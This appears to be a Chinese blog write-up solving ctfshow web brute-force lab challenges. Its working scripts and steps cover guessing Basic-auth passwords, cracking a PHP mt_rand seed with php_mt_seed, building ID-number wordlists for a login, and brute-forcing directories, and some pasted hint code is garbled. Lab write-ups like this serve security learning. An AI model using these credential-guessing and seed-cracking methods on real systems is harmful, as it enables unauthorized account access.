【ctfshow】WEB入门——爆破

image-20220525004716636

web21——tomcat认证爆破——custom iterator

爆破什么的,都是基操

打开环境:

image-20220522124047924

打开附件,是一个zip,解压一下:

image-20220522124346576

打开 burpsuite 进行配置:

看到一个奇怪的东西:

image-20220522124814500

就是这个:Authorization: Basic YWRtaW46cGFzc3dvcmQ=

在线解码一下:

image-20220522125048147

正是我之前输入的账号密码,可以发现数据是由==账号+:+密码生成的==

开始配置:

image-20220522130124416

再配置第二个位置,第三个位置:

image-20220522130156739

image-20220522130243513

最后再编个码就行了:

image-20220522130658290

==当然这里设置迭代器的时候设置 admin: 和字典也是可以的==

等了一会以后,可以看到有一个返回长度异常,没爆破出来????

会不会是符号使用的而不是:,改一下看看,还是爆破不出来?我为了省时间直接手动添加了一下,给我整无语了。。

image-20220522133723677

然后手动添加只有一个密码:shark63又行了,哈哈哈。

image-20220522133620837

知道问题所在了,线程数设置高了,改一下线程:

image-20220522134059262

出来了:

image-20220522134133083

对一下,没错就是这个!!!

image-20220522132407064

当然,也可以选择自己编写脚本,ctfshow提供了一个脚本:

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-20 19:16:49
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import time
import requests
import base64
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php' #要爆破的网站
password = []
with open("1.txt", "r") as f:     #字典
    while True:
        data = f.readline() 
        if data:
            password.append(data)
        else:
          break
for p in password:
    strs = 'admin:'+ p[:-1]
    header={
        'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8')) #构造迭代器
    }
    rep =requests.get(url,headers=header)
    time.sleep(0.2)
    if rep.status_code ==200:  #返回值为200
        print(rep.text)
        break

web22——爆破子域名

域名也可以爆破的,试试爆破这个ctf.show的子域名
域名更新后,flag.ctf.show域名失效
内容是flag{ctf_show_web}

看到题目有提示了,域名失效了,随便扫一下没有就直接使用 flag 了!

image-20220523125304217

web23——md5值爆破

还爆破?这么多代码,告辞!

打开环境:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);
}
?>

编写一个脚本找到符合要求的数:

<?php
$token='123';
while(true){
    $t=$token;
    $token=md5($token);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo "over!"."<br>";
            echo $t;
            break;
        }
    }
}
highlight_file(__FILE__);
?>

运行以后get提交token参数即可。

image-20220523203656434

web24——mt_srand生成伪随机数

爆个🔨

打开环境发现:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
?> Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022

和伪随机数有关系:

mt_srand() //播种==Mersenne Twister 随机数生成器==。

mt_rand() //生成随机数

简单来说mt_srand()通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。

更多查看:php伪随机数

查看响应头确定 php 版本:

image-20220524145008745

image-20220524140421594

get传参

image-20220524140514356

Hint内容:

#参考PHP随机数的伪随机数 mt_srand(seed); 函数播种 Mersenne Twister 随机数生成器。seed,可选。规定播种值
<?php
//Firebasky
error_reporting(0);
$a="1234567890zxcvbnmlkjhgfdsaqwertyuiop";//字典
for($i=0;$i<36;$i++){
for($j=0;$j<36;$j++){
$token=$a[$i].$a[$j];
// echo md5($token)."\n";
$token = md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token,
14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token,
14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token,
31,1))){
echo "success"."\n";
echo $a[$i].$a[$j];
exit(0);
}
}
}
} ?
>
#coding: utf-8
#啊韬
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t).hexdigest()
#print md5
#print md5[1:2]
#print md5[14:15]
#print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print t
print md5
print md5[1:2]
print md5[14:15]
print md5[17:18]
#mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的

不得不说做题还是手编脚本比较帅。。。。

web25——伪随机数生成爆破

爆个🔨,不爆了

打开环境:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022

代码审计以后传入一个参数/?r=0输出$rand的值:

image-20220524152838464

$rand等于mt_rand()的值,使用工具:php_mt_seed

git clone https://github.com/openwall/php_mt_seed.git
cd php_mt_seed/
make
./php_mt_seed 1047588218

当然这里也可以不使用工具,像Cr4zysong11师傅一样编写脚本也能有效解决:

img

最后:

image-20220524153026823

查看请求头发现 php 版本为7.x,选一个种子:3090963496

<?php
mt_srand(1858379755);
echo mt_rand()."\n";
$result = mt_rand()+mt_rand();
echo $result;

image-20220524153107245

输出结果上面是参数,下面是token值,然后。。。。我裂开,做一半容器过期了,kao

重新加载容器,然后编辑cookie和get参数得到flag,这里可以使用burp或者EditThisCookie插件都可以。

image-20220524153402988

插件我没试成功,不知道为啥,理论上应该是可以的。

hint内容:

https://www.openwall.com/php_mt_seed/

https://www.cnblogs.com/zaqzzz/p/9997855.html

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 在之前自己还以为需要暴力破解cookie,最后师傅们给我介绍了一个脚本,专门用来跑mt_srand()种子和 mt_rand()随机数的 这里自己解释一下为什么每一次的mt_rand()+mt_rand()不是第一次的随机数相加?? 因为生成的随机数可以说是一个线性变换(实际上非常复杂)的每一次的确定的但是每一次是不一样的,所以不能 进行第一次*2就得到mt_rand()+mt_rand() 使用说只要我们得到种子就可以在本地进行获得自己想要的值 解题:通过随机数来寻找种子 我们让 ?r=0 得到随机数。这里我得到的是 183607393 每一次不一样(因为flag值在变化) 然后下载 php_mt_seed4.0 我们在linux下面使用 gcc进行编译 gcc php_mt_seed.c -o php_mt_seed 之后运行脚本添加随机数 ./php_mt_seed 183607393

找到对应的版本这里自己的运气好第一个出来的自己验证了一下发现就是这个 注:可能存在多个种子需要自己进行判断 通过种子找到第一个随机数就是上面的随机数。

web26——字典爆破密码

这个可以爆

打开环境:

image-20220524213117690

点击继续:

image-20220524213208806

按照题目说的直接爆破:

image-20220524214430076

直接使用之前web21给的那个万能字典,呦呵,没扫出来。。。发现是线程设高了,调一下就出来了:

image-20220524215728163

web27——利用已知信息进行爆破

使用Chrome浏览器抓包,进行暴力破解密码

打开环境:

image-20220524220433026

录取名单是可以下载的,直接下载下来看看:

image-20220524220307240

出生年月被隐藏掉了,还有个学籍信息查询系统,打开看一下:

image-20220524220550587

爆破一下,靠,怎么又忘了设线程了吃一堑,长一智,我们提前设置好线程数:

image-20220524221631243

将返回信息ASCII解码一下:

image-20220524222001066

登陆一下,这里值得一说的是,不是在录取查询界面登录,我就是傻逼,正常是这样是吧:

image-20220524223018409

我居然把学号当作身份证中间的那部分了,然后和傻逼一样登录了好几次。。。。直接登录得到flag:

image-20220524223147927

#Hint:
<?php
//621022********5237
$myfile = fopen("zid.txt", "w") or die("Unable to open file!");
for($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year."0".$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year.$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.$mon."0".$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
close($myfile);

web28——域名目录爆破

大海捞针

打开环境:

image-20220524223406594

查看源代码发现没东西,F12 看头文件和流量也都正常,再观察一下本题,发现 url 有点意思,联想到是爆破主题的,所以爆破一下试试,这次真的提前设置线程了!!!!!

image-20220524224007522

GET /§0§/§1§/2.txt HTTP/1.1

image-20220524230645180

image-20220524230720579

然后就扫到了????啥情况,思路应该没问题啊,看了别的师傅的wp是一样的思路呀,看一下hint:

通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可

。。。。。行吧,再试一下??????环境过期了?我要裂开啦!

重启环境,进行正确配置就可以扫到了!!!

img

image-20220525004512440

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇